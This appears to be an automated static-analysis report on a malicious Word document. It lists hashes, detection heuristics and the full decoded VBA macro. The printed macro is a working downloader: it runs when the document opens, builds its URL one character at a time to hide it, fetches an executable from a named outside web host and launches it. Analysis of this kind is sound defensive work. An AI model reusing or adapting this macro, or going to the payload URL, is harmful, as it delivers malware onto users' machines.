Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f2226c3c75878ad…

MALICIOUS

Office (OLE)

57.5 KB Created: 2015-08-06 15:26:00 Authoring application: Microsoft Office Word First seen: 2015-10-06
MD5: b8d4de60aa3f48cd106cf7f044326930 SHA-1: 8038fd759b449bda0f6a11da5a5fff2539a49c66 SHA-256: 4f2226c3c75878ad4bbbb38cfd0b108959149e983426c866f044ceb85e5d3099
298 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6754310-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6754310-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell HAOGODOF, vbNormalFocus
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal SQTFZYUP As Long, ByVal ORLVJWKF As String, _
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        HAOGODOF = Environ("Temp") & "\" & "pyn_sun"
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3981 bytes
SHA-256: c8914618e61fd809bf84cbe50e06c9275fc514c524a3a68a8a08ee0ebfaba1c8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

#If Win64 Then

Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal SQTFZYUP As Long, ByVal ORLVJWKF As String, _
    ByVal ZYSLLXRJ As String, _
    ByVal WTNWRNJB As Long, ByVal GGNXJIGC As Long)

#Else

Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal SQTFZYUP As Long, ByVal ORLVJWKF As String, _
    ByVal ZYSLLXRJ As String, _
    ByVal WTNWRNJB As Long, ByVal GGNXJIGC As Long)

#End If

Sub AutoNew()
    Dim SettingsFile As String
    Dim Order As String
    Dim rRecNo As Range

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
    
    If Order = "" Then
    Order = 1
    End If

End Sub

Sub Document_Open()

SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"

    Dim sdfsd As String

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"

    sdfsd = 15

    IOESNGYH
End Sub

Sub IOESNGYH()

SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"

    Dim Order As String
    Dim rRecNo As Range

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"

    If Order = "" Then
    Order = 1
    End If

    WWWPQFPN = "www.ebatechcorp.com/wp-includes/SimplePie/Net/pym_sun"
    HAOGODOF = Environ("Temp") & "\" & "pyn_sun"


    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"

    If Order = "" Then
    Order = 1
    End If
    
    WWWPQFPN0 = "h"
    WWWPQFPN0 = WWWPQFPN0 + "t"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    WWWPQFPN0 = WWWPQFPN0 + "t"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    WWWPQFPN0 = WWWPQFPN0 + "p"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    WWWPQFPN0 = WWWPQFPN0 + ":"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    WWWPQFPN0 = WWWPQFPN0 + "/"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    WWWPQFPN0 = WWWPQFPN0 + "/"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    WWWPQFPN0 = WWWPQFPN0 + WWWPQFPN

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"

    WWWPQFPN0 = WWWPQFPN0 + "."
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    WWWPQFPN0 = WWWPQFPN0 + "e"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    WWWPQFPN0 = WWWPQFPN0 + "x"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    WWWPQFPN0 = WWWPQFPN0 + "e"

    AutoNew

    HAOGODOF = HAOGODOF + "."
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    HAOGODOF = HAOGODOF + "e"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    HAOGODOF = HAOGODOF + "x"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    HAOGODOF = HAOGODOF + "e"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"

    AutoNew

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"

    URLDownloadToFileA 0, WWWPQFPN0, _
    HAOGODOF, 0, 0

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"

    AutoNew

    If Len(Dir(HAOGODOF)) > 0 Then
    AutoNew
        Shell HAOGODOF, vbNormalFocus
        SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    End If

End Sub


Attribute VB_Name = "NewMacros"
Sub pymsen()
'
' pymsen Macro
'
'

End Sub

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